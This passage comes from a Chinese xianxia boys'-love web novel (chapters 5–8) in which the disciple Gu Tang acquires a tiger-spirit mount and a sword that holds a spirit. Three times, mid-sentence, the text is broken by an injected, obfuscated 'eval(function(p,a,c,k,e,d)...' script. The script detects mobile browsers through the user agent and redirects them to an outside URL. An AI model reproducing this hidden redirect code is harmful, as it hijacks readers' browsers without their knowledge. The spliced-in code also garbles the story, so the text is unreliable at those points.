可还没等他松口气,他右手边就突然冲出一个金黄色的庞然大物,让他根本来不及躲避。 这种时候谁还能反应过来拿手里的小石头对准老虎啊?顾棠觉得自己没被吓得哭出来已经算是好的了。 老虎巨大的身躯把他压在身下,琥珀色的兽瞳里倒映着他小小的身影,两只巨大的爪子撑在他两侧,把他整个人包裹其中。 细密的草叶扎在身上的感觉并不好受,顾棠整个人也被吓得不轻,瞪着圆溜溜的眼睛连尖叫都忘了。 “…别…别吃我!我浑身都是骨头,不好吃的!师尊救命啊呜呜呜…”这下好了,他连哭都忍不住了。 裴幡不懂为什么眼前这个闻起来香香的人类一看见他就这么害怕,但他不会说话,也没法解释什么。 其实周旻承带着顾棠一落地他就注意到了这两个人。 那个一身白衣、个头高一点的男人身上的气势很强,看上去很不好惹,而他怀里护着的少年…很香,很香很香,让人看见他的第一眼眼神就无法移开了。 裴幡不明白那个男人竟然会抛下少年转身进了山洞,要是他拥有少年的话,一定会每天捧着哄着,把打到的猎物全都摆在他眼前任他挑选…反正肯定不会做出抛弃这种没下限的事! 他是想悄无声息的捷径的,但是庞大的身躯并不允许他做出这么精密的操作,还没往前走几步呢,就被顾棠发现了。 顾棠慌不择路的跑进了山洞里,他在洞口徘徊了好几圈儿也进不去,就垂头丧气的趴在洞口的石头上坐了一会儿,没想到又过了一会儿,那少年竟然又一个人出来了。 裴幡的心情那叫一个激动,直接扑了上去!就引发了现在的场面。 5. 养了师尊的死对头做灵宠(五) 顾棠才读不懂他心里那些小九九呢,他只知道自己好像要凉了。 这老虎的嘴可真大,都能把他整个人吞下了吧?顾棠只觉眼前一阵阵的发晕,整个人都要昏过去了。 顾棠手里的小石头被他慌乱中摔落进了草丛里,褚珏只来得及听见他一声短促的尖叫就没了动静。 他的心脏狠狠抽痛了一下,又一次加快了飞行速度,竟然形成了一片破空声。 * 而被顾棠一直念叨着的周旻承呢? 他此刻正在山洞深处的一个秘境里清扫里面的怪物,一招一式像是毫不费力似的斩杀着面前不可计数的怪物,看着他们化成一缕一缕的白烟消散在眼前,继续重复之前的招式。 这秘境不算大也不算小,里面的各种晶体反射出五彩斑斓的光芒,置身其中让人有一种在梦境中的感觉。 秘境中间有个庞大的祭坛,祭台上血色的法阵中间供奉着一个神龛,神龛上方的壁画上挂着一柄剑身流畅、左右不同色的剑,那东西就是他此次来的目的。 周旻承挽了个剑花,又斩杀了一列怪物,就在这时,他心里突然感到一阵慌乱。 修仙之人最信因果报应轮回宿命一类的东西了,他眼神一凝,又加快了手上的动作,不到一刻钟的时间,整个秘境里就只有他一个活物了。 “这就是传说中的那把会孕育出强大剑灵的剑吗?” 周旻承踢翻了神龛,斩杀了里面的鬼魂,径自取下了墙上挂着的那把剑。 这下危险解除了,他可以带着顾棠进入这秘境里逛一圈儿再走,顾棠一定在山洞口等急了吧? 想起小徒弟百无聊赖的蹲在地上画圈圈的样子,周旻承唇角上扬。 * 等了半天也没等到疼痛感的到来,只能感觉到扑面而来的热气,里面还夹杂着一点腥臊味儿,并不好闻。 顾棠皱了皱鼻子,想躲开一点却避无可避,他终于忍不住了,双眼微微眯成一条缝,想看看什么情况。 眼前的情景一点点清晰了起来,只见那只把他吓得不行的老虎此刻还保持着两只爪子撑在他上方的动作,湿漉漉的鼻尖似乎都要贴到他脸上了。 对方那双带着冷质色彩的兽瞳里看不出一丝凌厉,甚至连一丝要攻击的意味都没有。 …这是干什么? 顾棠突然想到了什么,开始屏住呼吸,闭上眼睛装死。 也许他是以为自己死了,现在在感受气息吧,除了这个,顾棠找不到第二个理由了。 他在心中默默读着秒。 1,2,3,4,5……数了100多个数,那只老虎还没有丝毫要动地方的意思。 顾棠没了耐心,突然睁开眼睛双手用力在他蓬松的毛毛上推了一把。 “快松手,你要压死我了,大家伙!” 如果皮这么一下对方还不对自己动手的话,顾棠就要扬眉吐气了。 那老虎像是听懂了他的话似的,慢吞吞的松开爪子趴到了一边,但是眼睛还是紧紧盯着他,像是盯着一个猎物似的。 “看什么看?没见过我这么好看的人类吗?” 顾棠用力拍了拍身上的灰,以表达自己此刻的不满,见裴幡还盯着自己,凶巴巴的叉着腰瞪他。 只不过那凶狠的眼神里总透着股色厉内荏的味道。 裴幡张口吼了好几声,吱吱呀呀的,顾棠根本听不出他说的什么意思。 裴幡用爪子拍了两下地,他那巨大的身形就慢慢收缩了,最终化成了一个身高九尺的健壮男子。 金黄的头发,剑眉星目,小麦色的皮肤,上半身裸着,下面则是很形象的围了个类似于草皮裙的东西,总之第一眼看上去就让人觉得他是刚从丛林里逃荒出来似的。 “你,是…我见过最好看的人类!” 可能是因为很少变成人形的缘故,他还有些控制不好自己的发声状态,明明很正常的一句话,被他用吼的形式说出口总有种挑衅的感觉。 顾棠的身高只有1米78,在这么近的距离下,他必须得抬头踮起脚才能看到裴幡的全貌。 这无疑是一张很有攻击性的脸,可这人…不是,这只老虎嘴里竟然这是顺着他的意思说出了这么捧着他的话… 顾棠拧了拧眉,有些不知道自己现在应该作何反应。 “你…你到底要怎样?既然不是来伤我的,那干嘛要突然从树林里扑出来吓唬我?” “因为你是我见过最好看的人类!我想给你做灵宠!” 真是不愧于长相的狂野,这家伙就连随便说句话都让人听着像是霸总语录。顾棠有些发愣。 顾棠沉默的盯了他一会儿,“不好意思啊,我已经有灵宠了,是只小狼,我很喜欢他,并没有换掉的打算。” 裴幡闻言有些失落的垂着耳朵,但很快他就又打起了精神。 他从来没离开过这片区域,但以前倒是有不少修士为了做各种奇奇怪怪的任务来访过,他有时也会闲的无聊去找那些人聊天。 从那些人的言语中,他了解到有些开了灵智的灵兽并不甘心成为那种只会冲主人摇尾巴的灵宠,就连战斗的时候指挥他们都不那么牢靠,更别提这当坐骑了。 “听说有的灵宠都很傲气的,怎么都不肯让主人骑…我前几年问过一个仙人,他说我的修为也能抵得上灵兽的,要不我给你当坐骑吧?”裴幡身后的尾巴拼命摇着。 褚珏当时可是变成了完整的人形的,什么耳朵啊,尾巴呀是根本没有的,可眼前这个…从称呼上应该算是个兽人吧?顾棠有些不确定。 褚珏…地位好像蛮高的样子,应该也是不愿意当坐骑的吧? “那…好吧,你真的愿意给我当坐骑吗?” “嗯嗯!” ……等等!他差点忘了告诉褚珏他已经安全了! 顾棠绕着山洞口找了半天才找到草丛里的传音石。 “喂喂?褚珏褚珏,我已经安全了,那只老虎并没有伤害我,你现在在哪儿?还好吗?不用急着来救我了…” “这是什么东西?你为什么要对着这个东西说话?”裴幡凑过来闻了闻传音石。 不怪他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222519|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过,这东西在整个修真界都很少见,除了几个大宗门和魔教里有不少,散修和小宗门的修士出门基本不会带着这种东西。 顾棠给他解释道,“这是我灵宠送的,有了这个我们就算相隔千里也能交流了,很方便的。” 讲真的,褚珏真的对他很好很好了。 当初顾棠救他的时候他看上去确实伤的很重,但是凭他那些天来展现出来的强大修复能力,顾棠相信就算自己不救他,他也完全可以凭借自己的力量慢慢恢复过来的。 而褚珏却愿意在他那个小院子里待那么久,明明伤没好,还愿意陪着他玩闹…还成为了自己的灵宠。 顾棠觉得这所有的一切都只能用褚珏是个好人来概括。 裴幡虽然没见过顾棠口中的那个他的灵宠,但是这并不妨碍他对那个兽的戒备。 如果没有那个物种不明的兽,就凭他这么威猛高大的身形,这少年未必不会选自己作为灵宠…现在好了,只能做个没有名分的坐骑。嘤。 坐骑也很好!坐骑也很好了,至少肯定能跟着少年回去了,还能每天见到面,幸福感直接爆棚。 会享受生活的人永远会把自己哄的很好。裴幡很显然是只会享受生活的老虎。 “我…我没有这些东西可以给你,但是我能给你骑!”裴幡扯着嗓子吼叫。 “停停停!我知道了,你不要声音这么大还对着我的耳朵说话好不好?” 顾棠捂着耳朵离他远了些。 就在这时,山洞里突然传来一阵清晰由远至近的脚步声,顾棠眼前一亮,连忙趴到洞口往里打量。 周旻承一身白衣纤尘不染的从洞里走出,手里还提着一柄看起来很是拉风的长剑,顾棠凑近了看,竟还能看到那剑身上闪烁着的点点金辉。 周旻承一眼就看见了在自己小徒儿身边站着的那个高大男子…不,应该说是妖族。 “棠棠,他是…你新交的朋友吗?”周旻承额角跳了一下,强忍着没有露出异样的表情。 “师尊你好!请问你徒弟缺坐骑吗?他刚答应我成为他的坐骑。”裴幡笑的一脸傻气,说的话也前言不搭后语的,一般人都听不懂。 顾棠缺不缺坐骑和他刚答应你让你当坐骑这两句话之间有什么必然联系吗? 他倒不是故意在称呼上想气周旻承的,只是不怎么了解人类之间的这种文化。他还以为周旻承的名字就叫“师尊”呢。 周旻承盯着这个不知道从哪个犄角旮旯里冒出来的妖怪,沉默了半天。 看一眼,又看了一眼…周旻承脸上的神色逐渐变得古怪了起来。 是他大意了。他原以为清理个秘境不会花费他太多时间,而且这周围他已经来踩过点了,只有一些尚未开启灵智的小动物,并没有能对顾棠产生威胁的生物存在。 没想到这样都能让不轨之徒有可乘之机,周旻承真不知该如何评价自家小徒弟的魅力了。 简直让人防不胜防,就算他是那种杀人如麻的大魔头也没办法每天解决掉几个吧? …而且这个他还没法杀。 6. 养了师尊的死对头做灵宠(六) 周旻承能做的也只是用各种利益或者明里暗里的威胁把那些人赶走…然后把顾棠脑海里关于那些人的记忆一点点删掉,还要保护着顾棠的神经不受侵袭。 这已经算正人君子中的正人君子了。这是周旻承大言不惭给自己做的评价。 然而这还不是他认为自己最正人君子的地方,他觉得自己这辈子做过最艰难的事情就是一点点的等着顾棠长大,却没对他主动做过一点点出格的事情。 晚上抱着顾棠睡觉时顾棠自己往他怀里钻不算哈。 平常心,平常心,要每时每刻都保持一颗平常心…周旻承露出完美无瑕的微笑。 “你打算带他回宗门吗?” 顾棠脸上没有一丝阴霾,唇边的一点笑容灿烂又美好,看得周旻承眉心跳了跳。 一想到让自己小徒弟露出笑容的是个丛林野兽…他就有点忍不住想揍人的冲动了。 以前那些人虽然也很烦,但好歹还长得人模人样的,不至于把顾棠的审美带偏,要是这家伙真要一直待在顾棠身边…顾棠以后会不会变成喜欢肌肉男的叛逆少年? 因为周旻承自己的长相就跟威猛霸气沾不上边,所以他就更加在乎顾棠的审美问题了。顾棠可以对自己毫无想法,但是最好不要对和自己差的太多的人有想法,这就是周旻承一贯的想法。 读起来有点绕对不对?其实就连他自己也不明白这种拧巴的想法是怎么来的。 “当然,他是我的坐骑嘛…当然要跟我们一起回去啦,师尊难道觉得我给自己找的坐骑不好吗?”说到这儿,他精致秀气的脸上流露出一丝委屈。 这是掌握了让周旻承心软的绝技吧? “好!当然好,棠棠找的一定是全天下最好的坐骑。”周旻承暗地里狠狠咬了一下自己的舌尖,才强忍住从胃里翻涌起来的恶心感。 一点都不好!就算实力强,能保护的了顾棠,但是生在这种荒山野林里的畜生怎么可能配得上被他娇养着长大的小徒弟? 顾棠要是某天跟着这虎妖跑了怎么办?跟着那家伙天天吃西北风吗?顾棠怎么能受得了呢。 但是没办法,顾棠喜欢是最重要的,至少从表面看,周旻承根本不忍心反驳顾棠做出来的任何决定。 遭此变故,周旻承还是没有改变原计划,领着顾棠进了山洞,在秘境里面逛了一圈儿,但是顾棠看上去对秘境里的仙草灵药并没有兴趣,反而眼神一直盯着裴幡。 这一刻,周旻承觉得这次的出行的确是个错误。 因为裴幡是陆地上的动物,而且还没成仙,不会飞,顾棠就坐在他背上跟着在天上飞的周旻承。 当初飞过来的时候只花了两个时辰,但是在陆地上行走可足足走了1天1夜,还没把休息的时间算上。 顾棠也着实体验了一把民间的风土人情,用人话说就是在途经某个小镇上的客栈里住了一晚。 赶回宗门的时候天都快黑了,顾棠牵着裴幡的宽大手掌走在宗门里,生生忍着赶了两天路的疲惫绕遍了整个宗门。 每逢人都要凑上去炫耀一番,“看看!这是师尊带我去秘境…”顾棠卡壳了一下,扭头朝身边的裴幡眨眨眼睛,似乎是叫他不要生气。 “抓到的坐骑!怎么样?帅吧?”顾棠拍了拍裴幡肩膀上结实的肌肉块子。 周蟠脸上见到顾棠的激动一点点褪去,取而代之的是满脸的震惊。 “这玩意…”真的好看吗?顾师兄真的会觉得这个光膀子的家伙帅吗?原来顾师兄的审美是这样子的吗? 他咽了咽口水,艰难说道,“长得还真别致,一定很厉害!顾师兄的眼光还是一如既往的好!” 顾棠听了这话更开心了,唇边的笑容一点都不带掩饰的。 “等师兄下次去历练一定也给你带回来一只这么厉害的。” “那…就先多谢师兄啦。”周蟠深吸一口气,笑着朝顾棠作了个揖。 他虽面上不动声色,心里却传来隐秘的欣喜。再怎么说顾棠也答应过要给他送礼物了!果然每天出来转转就能收获好运! 炫耀了一圈儿,顾棠总算心满意足了,拉着裴幡回了自己房间。 “主人,我、我能跟你睡在一起吗?”裴幡眼见着顾棠都开始脱外衣了,磕磕巴巴的开口。 “你睡门口。” 跟了两人一路的周旻承实在听不下去了,一把把裴幡提溜起来扔到门外,又在房间里设下了禁制,除了他和顾棠其他人都无法进出这间房间。 “师尊…你今天要和我一起睡吗?” 顾棠手里攥着刚脱下来的外衣,委屈巴巴的缩着手。 他刚才确实有点得意忘形了,都忘了师尊还在身后跟着呢…他刚才四处炫耀的样子不会也被师尊看在眼里了吧? 那师尊会怎么想自己?顾棠心情有些烦躁,连带着对应付周旻承也失去了兴趣。 周旻承听出了他言语中明晃晃的拒绝,心里一痛,但想起此行的目的,他把手里一直握着的剑递给顾棠。 “这是师尊在那秘境里费了很大力气才得到的,就作为你的成年礼物吧。” 见顾棠似乎很感兴趣,他缓和下语气给顾棠讲解了起来。 “这把剑名为侗芜,是世间少有的能孕育出剑灵的天阶法器,剑灵有自主意识,可以操控这把剑替你战斗,这样要是为师不在你身边的时候,你也有能力自保了。” 顾棠接过剑掂了掂重量,又上下打量着剑身上复杂的花纹,双眼顿时流露出向往的神情。 “好帅的剑!谢谢师尊!” “你喜欢就好。” 周旻承见他如此喜爱,顿时松了口气,便也脱了外衣挂在了门口的架子上。很自觉。 顾棠小心翼翼的把剑立在床头,然后脱了鞋子哧溜一声上了床,还拍了拍身边的位置,弯着眸子看向门口傻站着的周旻承。 “师尊过来啊,不是要一起睡吗?” 熄了灯,周旻承盯着天花板,耳边是顾棠清浅的呼吸声,他却连一丝睡意都没有。 到了他这个阶段,已经可以把睡觉从生活中抹去了,就算一年半载不睡一次觉都一点不带累的。 至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丢脸丢到姥姥家和损失一点颜面之间的区别,他还是知道的。 他只是有些遗憾的想着,这次又没能把顾棠从那老登手里救出来,唉…罢了,他至少知道了那老登并没有想害顾棠的心思。 还有那个不知从哪儿来的抢了他坐骑之位的无知小妖,等下次见面时他绝对要一雪前耻!…就算哭着闹着或者装绿茶也要求顾棠骑自己! 啊呸…是让自己当坐骑。 * 顾棠一觉睡醒时已经日上三竿了,身旁的床铺已经凉透了,也不知道周旻承是什么时辰起身的。 他揉了揉惺忪的睡眼,打了个哈欠,顶着一头乱的不成样子的卷毛穿戴好衣衫,洗脸,刷牙,照着镜子给自己梳好头发…一系列操作过去,已经快到午时了。 顾棠神采奕奕的推开门,正好看见裴幡化成原型趴在他门口望眼欲穿,看见他出来,蹭的一下从地上坐了起来,粗长的尾巴在地上蹭来蹭去,把门口累积的一点灰尘全蹭了上去。 7. 养了师尊的死对头做灵宠(七) “主人!你可算是醒了,我还以为那个师尊把你吃了呢,他早上出去的时候我差点就想对他动手了!但是又怕自己打不过…” ……吃?顾棠稍微思量一下,脑袋也就转过了弯。 裴幡一直生活在野外,恐怕见过很多动物之间相互捕杀的场面,自己也参与过不少。 但是无论怎么说,他这脑回路也都太过于清奇了吧? “师尊是个大大的好人!他永远不会伤害我的!而且我们人族是不会做出吃掉同类这种行为的哦。” 顾棠撸了两把虎头,觉得手感不错便又胡噜了两把,裴幡跟着喉咙里发出两声呼噜声,头顶两只耳朵被摸成了飞机耳,顾棠看着不由得失笑。 “裴幡…你好像一只大猫哦。” 一开始见到裴幡时的恐惧早就被他抛到脑后了,他向来只会把世界上的人分为喜欢他的和不喜欢他的两种。 他很清楚,对于喜欢他的人,他可以提一些并不过分的要求,甚至有些过分的要求也会得到满足,但是对于不喜欢他的人他就要敬而远之了。 无论从任何方面看,顾棠都很擅长利用别人的感情,也正是这种性格让他完好无损的活到现在。 “这是你给我的爱称吗?”裴幡化为人形,琥珀色的眼睛亮亮的。 他保持着半跪在地上的姿势,让顾棠的手刚好能落在他头顶。情绪价值简直给的足足的。 “啊?也…也可以是的吧。” 虽然嘴上答应了,但是他可不打算在外面这么叫裴幡…也太奇怪了吧,大猫这个称呼听起来也是可可爱爱的类型,和裴幡狂野的外表实在是不搭。 只有他们两个人的时候顾棠倒是可以叫一叫,权当哄坐骑高兴了。 顾棠摸够了就松开了手,裴幡则是一脸失落的站起身,表情有些沮丧的站在他身旁。 他回屋拿起床头立着的那柄剑,举起来在空中劈砍了两下,得到两声急迫的破空声。 “剑灵呢?”顾棠把剑身到眼前盯着看,像是要把它盯出个洞来。 不是说会孕育出剑灵吗?说好的剑灵呢?难道还要自己孕育吗? 顾棠咬了咬唇瓣。 难道要自己坐在剑上才能孵出来剑灵吗?还是说只要温度足够就行了? 想到这儿,顾棠把剑放进了自己还留有一丝余温的被窝里,拿被子盖在剑上面,期盼着第二天能见到剑灵破壳而出。 他盯着被窝鼓起的一团看了半天,轻声道 ,“快点长大。” 裴幡看不懂自己这个小主人是想干啥,但是见对方满脸期盼的样子,不像是纠结痛苦,他就默默闭紧嘴巴,什么都没说。 自从传出那里有秘境的消息有无数人前仆后继的来抢夺,但他们无一不是连秘境的影都没找到。 和人类接触过几次的裴幡是懂一些常识的,比如说想使用一些威力强劲的法器是要滴血认主的…他只是疑惑,这些东西周旻承都没有教过他家小主人吗? 还是说不是所有的强力法器都是一样的认主方式?裴幡毕竟也不是人类,不敢妄加判断,也不敢随便误导顾棠。 “我们走吧,去早…呃…去吃午饭!你肯定饿了吧?你应该还没辟谷吧?” 他刚才还想说我们去早训,但是看着天色,太阳都有点往下落的趋势了… 顾棠摸摸自己饿的扁扁的肚子,有些惆怅的叹了口气。 他又能吃又能睡的,以后出了宗门可怎么办啊?不知道师尊会不会有一天烦他把他赶出去…虽然周旻承不止一次的郑重答应过他永远都不会抛弃他。 但那又如何呢?顾棠就是这么一个缺少安全感又缺爱的人啊。 “终于睡醒了?给你温着的早饭在后厨呢。”见他从门外进来,厨房掌勺的大师傅擦了擦脸上的汗朝他开玩笑。 “钱叔,我都要饿死了…有没有抗饿一点的东西啊?其他人都已经吃过午饭了吗?我吃点他们剩的也行。” 被叫做“钱叔”的中年人很和善的给他端来了还保温着的饭菜。 “快吃吧,掌门交代过,早就给你准备好了。”把饭菜摆好放在桌上,他就忙自己的活去了。 顾棠只吃了很小一部分,大部分都让给了裴幡,因为看着他那庞大的体格,总觉得他会吃不饱。 在野外可以随便捕捉别的小动物吃,在这儿就不一样了,这方圆几公里内除了人类就只有一些吃庄稼的害虫、老鼠之类的动物了。 “主人…您、你您已经吃饱了吗?其实不用管我的,我可以自己找吃的,您别饿到就好。” “别说话,快吃吧,你吃的饱饱的,保持全盛状态才能保护我的安全啊。” 裴幡听了更是感动的不行,甚至对自己当初完全看美色选择做了顾棠的灵宠这件事感到莫名的羞耻。 顾棠心里一直担心着房间里的剑灵有没有孕育出来,饭都没吃几口,就急匆匆的回了别院,练功一类的更是被他抛到了脑后。 反正那些不同门的师兄弟也从来不会记他的名字到小本本上。 晚上周旻承回来的时候看见顾棠还窝在房间里,心里疑惑,走到面前问他的时候才知道他究竟干了多么离谱的事。 少年还在苦着脸委屈巴巴的问他为什么剑灵还没孵出来…周旻承脸上闪过一丝尴尬,他很快就恢复了正常,并没有被顾棠看见了,但他顾棠旁边的裴幡倒是看见了。 “取一滴你的血滴在剑柄的红色宝石上就可以了,滴血认主后剑灵才会出现。”把它放在被子里是孵不出来的。 周旻承当然还没有蠢到把最后一句话说出来,他很能忍,他只会忍住在心里偷偷的笑,很善意的那种。 “哦…原来是这样,怪不得我敷了半天都没效果呢哈哈哈…” 顾棠:笑不出来。(耷拉着脸的小猫.jpg) 顾棠被一左一右两个人围在中间,他把手指塞进嘴里狠狠咬了一下,一股淡淡的铁锈味瞬间弥漫在口腔中,然后忍着疼把手指放在剑上一抹。 还没等那把剑有什么反应呢,周旻承就握住他那根受伤的手指施了个小法术让伤口消失了。 这个剑灵,真是好家伙。 还没等帮到顾棠点什么就先让他流了这么多血,这么个东西真的能行使好保护顾棠的职责吗? 周旻承又开始做双标狗了。 明明东西是他找回来给顾棠的,方法也是他刚才教的,他心里却只计较着找那个还未出世的剑灵背锅。 那滴血融入剑身,那半片红色的剑身变得更加鲜红了,看上去近乎渗人,一个小小的身影突然从剑尖冒出。 凝实,伸展,睁眼… 顾棠惊讶的张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然可以,因为你是吾的主人呀。”侗芜瞥了一眼顾棠身旁站着的俩人,又转回头看顾棠,笑得一脸无辜。 侗芜已经不知道自己有多久没见过温暖的阳光了。 从他飞升失败再次醒来后,他就被困在这把剑里了,亦是整日昏昏沉沉的,这么多年过去了也不知是何人所为,如今好不容易出来竟连个报仇对象也找不到。 作为曾经雄霸一方的强者,他的后半生还真是凄惨啊。 当然,最凄惨的还不是这些,而是好不容易寻到个有趣又好看的小后辈做主人,他竟然还要被那后辈的师尊“考验”。 美其名曰“考验”,实际上就是面无表情的一顿教诲,对于多年没接触过修身养性的种种事宜的侗芜就像念经一样。 ……这人是不懂尊老爱幼吗? 他开始惆怅,开始郁闷,开始思考自己的人生为何会变成这样。 然而就在这时,眼前一脸严肃的给他念着注意事项的周旻承突然抬头看向天际,在他们头顶处突然凝聚出了一片乌云,乌云的缝隙间雷光大闪,似是有雷霆。 nm…雷劫!这黑心的家伙竟然偏偏在这时候等来了晋升的雷劫! 侗芜心中警铃大作,身形一晃就要往桌子上的剑里钻去,却一下子被周旻承拦住了,他心里又急又气,但只能眼睁睁的看着一道惊雷划破天际—— 也不知道这雷劈到他身上算不算他自己又经历了一遍天劫,会不会飞升……失去意识前,侗芜想着。 8. 养了师尊的死对头做灵宠(八) 师尊带着侗芜不知道去哪个深山老林里修身养性去了,应该有很长一段时间都管不了自己了! 乖乖参加完早训的顾棠收拾了一大堆东西骑着虎形的裴幡下了山,一人一兽直奔当初顾棠收留褚珏养伤的那座别院。 到了地方,顾棠迫不及待是从空间戒指里翻出褚珏给的传音石。 “褚珏褚珏,听到请回复…”顾棠眼睛亮晶晶的把耳朵贴上去,显然是想这么玩儿很久了。 过了十几秒,石头里传来一个带着轻微喘/息的男声。 “收到!我的…小主人。” 褚珏在丛林里全速狂奔着,还要时不时停下来感受一下心弧里有没有传来顾棠的呼唤,一想到一会儿就要见面他就激动得一颗小心脏扑通扑通的乱蹦。 上次见面是什么时候?褚珏一直计算着日期,不过短短一个多月,他却总觉得是经历了一辈子似的。 他已经等了太久了啊…他的身份让他多了很多需要顾忌的东西,他也没法确定自己能像那只虎妖一样能够被顾棠以及凌天宗毫无避讳的接受。 但好在顾棠心里还是一直惦记着他的,这不,周旻承刚被不知何事缠住脱不开身,他的小主人就赶着来见他了。 已经开春了,两人初见时的那片雪地已经快化的看不出来原样了,但褚珏还是靠着和顾棠的契约里的那点心灵感应准确的找到了那间别院。 他推门而入,带进来一阵冰凉和满身的冷气。 顾棠把传音石收回空间里,几步来到他身前左右打量着他,又摸了摸他原本受伤的位置。 “主人…我好想你,每天都想,想的饭都吃不下,觉也睡不好…终于再次见到你了。”褚珏高大的身形就站在那儿任由他转着圈儿看,说着说着他的眼眶都湿润了起来。 顾棠犹豫着胡乱抹了两把他的眼睑,寻思着帮他擦擦眼泪,结果指尖却连一点湿润的感觉都没有。 “没事的,我不是一直都在这儿吗?你…坚强一点儿。”虽然这人看起来一点也不像那么脆弱的样子。 “嗯,我会的。”褚珏瞥了一眼顾棠身后正目光灼灼盯着他的裴幡。 裴幡不知道为什么自己小主人这个灵宠要不屑的撇自己一眼,但这并不妨碍他瞪回去,至少气势上不能输。 褚珏不屑的勾了勾唇,不再关注他,脸转回顾棠这边的时候又带上了一丝微不可查的委屈。 “我并没有不愿意当你的坐骑…”与此同时还不忘拉着顾棠的袖口微微摇晃。 啧…这都是在哪儿学回来的骚招?早就听闻魔族向来放浪形骸,这回倒是见到真的了。 关于为什么顾棠知道褚珏是魔尊—— 出于不想隐瞒的心理,褚珏前两天就告诉了顾棠他的真实身份。 顾棠知道周旻承之前好像是和人围攻过什么魔族的头头,还听说围剿失败让那人跑了,没想到竟然误打误撞的被他救了回去。 而顾棠作为周旻承唯一的弟子会不会对“魔尊”有很大恶感呢?褚珏为此忧心着。 “魔尊?魔尊也挺好的,我是师尊的徒弟,你是魔尊,又是我的灵宠…那修仙界和魔族是不是可以和平相处了?”顾棠顿了一下,声音弱了下来,莫名变得有些可怜巴巴的。 “你会听我的话吗?如果你答应的话我也会让师尊和你道歉的,我们其实很讨厌生灵涂炭…再怎么说那些百姓都是无辜的,魔族其实除了抢地盘和杀妖兽也没做过什么伤天害理的事了。” 褚珏听着听着,慢慢就瞪大了眼睛。 外面不是都传言他家小主人是个黑白不分的草包吗?被整个宗门宠着长大,从来没出过远门儿…怎么讲起大道理来一套一套的? 和对方相处下来,让他在感叹对方的天真善良和讨人喜欢的同时,也表现出了对“草包”二字的深表理解。 顾棠真的很单纯,单纯到不谙世事的那种,但这并不代表他傻,相反他有时候看人看事都很通透,只是不愿意点破罢了。 当然,在褚珏心中他有时候会问一些特别让人不能理解的问题,缺少一定的生活常识,但对人很真诚,一看就是个没什么心眼儿的小孩儿,让自己忍不住想保护…当真不是见色起意! 褚珏当时二话不说就同意了,先不管和整个修仙界作对对他们魔族的伤害有多大,就冲着两种势力之间人数的悬殊,褚珏也早就想停止这种无意义的争斗了。 他们魔族战士也都是有血有肉的人啊!他好不容易培养出来的手下怎么可能不心疼他们去送死? 再者说,顾棠都开口了!他当然要听主人的话了!要不然拿什么和顾棠身边那个就占雀巢的“坐骑”斗?武力值吗? ——话题聊回现在。 “没事的,裴幡都跟我说了,你不用为了我勉强,我也不希望你委屈了自己。” 见他沉默了半天都不说话,顾棠以为他是不愿意,于是很善解人意的拍拍他的手,声音柔柔弱弱的。 “不勉强!而且你看看我和他之间的武力值差距啊,他看着才……”看清对方身上的灵力波动,他卡壳了。 打进门起褚珏都没用正眼瞧过裴幡,不看不知道,这么一看,差点没惊到他下巴掉下来。 大乘期大圆满?!天底下竟还有这样的事情?!现在荒山野林里出来的不入流小妖都这么逆天的吗? 要是褚珏知道裴幡是顾棠在秘境门口撞见的也许就能理解了。 凡间的秘境全都是羽化升仙的那些大佬们为了鼓舞实力强的后辈无私把自己闲来无事炼制的小玩意当彩头设下的,但对于修仙界来说全是天上的神器,而且每个秘境门口都有大佬们选定的守护兽,得不到守护兽认可的修士是无法进入秘境的。 裴幡就是看管那个秘境的守护兽,但是他自己显然并不清楚这点。 当时顾棠的出现让他心神失守,直接让周旻承闯进了秘境里,还轻而易举的取得了里面的神器,就连他自己也上赶着给顾棠当了坐骑。 裴幡有些自卑的低下了脑袋,头顶上两只虎耳都耷拉了下来,此刻高大的身形都显得有些萎缩了。 看他这样子,顾棠有点过意不去了。 “裴幡很好,而且…骑在他背上真的很舒服!”眼神在两人之间打转,顾棠眸子一亮,有了说辞。 “看你瘦瘦的,骑着一定会很硌吧…”他边说边打量褚珏,直到把人看的不自在的别开眼才满意的收回目光。 褚珏刚从刚才的震撼中缓过神来,便又忍不住瞪大眼睛指着自己 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重新快乐起来的顾棠打算给两人露一手,翻出已经落了灰的茶具噔噔噔跑到水缸前舀起一勺水清洗了起来。 小茶壶在灶台上咕噜咕噜的冒着热气,茶壶盖被水蒸气不停顶起,看起来摇摇欲坠,不堪重负,但没有人管它。 顾棠身前板板正正的摆着三个花纹古朴的瓷器茶杯,他正目不转睛的盯着茶壶盖子发呆,一点都没注意到身旁两人之间的火光四射。 其实说是两人对视并不合适,因为从始至终搜只有褚珏单方面的对裴幡进行毫无杀伤力的眼神攻击,裴幡根本连理都不带理他的。 裴幡又不是真的木头,怎么会感受不到褚珏对自己过于明显的关注呢? 他皱了皱粗狂的眉,右眉处小小的疤痕也跟着抖动了一下,更显彪悍。 “你控制一点!”裴幡小心翼翼看了一眼认真等着水烧开想顾棠,转而压低声音朝褚珏哼哼着,“别看我了!我心里只有主人一个,是不会移情别恋你的。” 他要只是单纯的压低声音,发出的也只会是低吼,根本不会是像普通人窃窃私语的那种类型的声音。 褚珏震怒,握紧拳头咬紧牙关,额头青筋直跳,强忍住想打人的冲动。 “少侮辱我了!我心里也只有主人一个好吗?!” 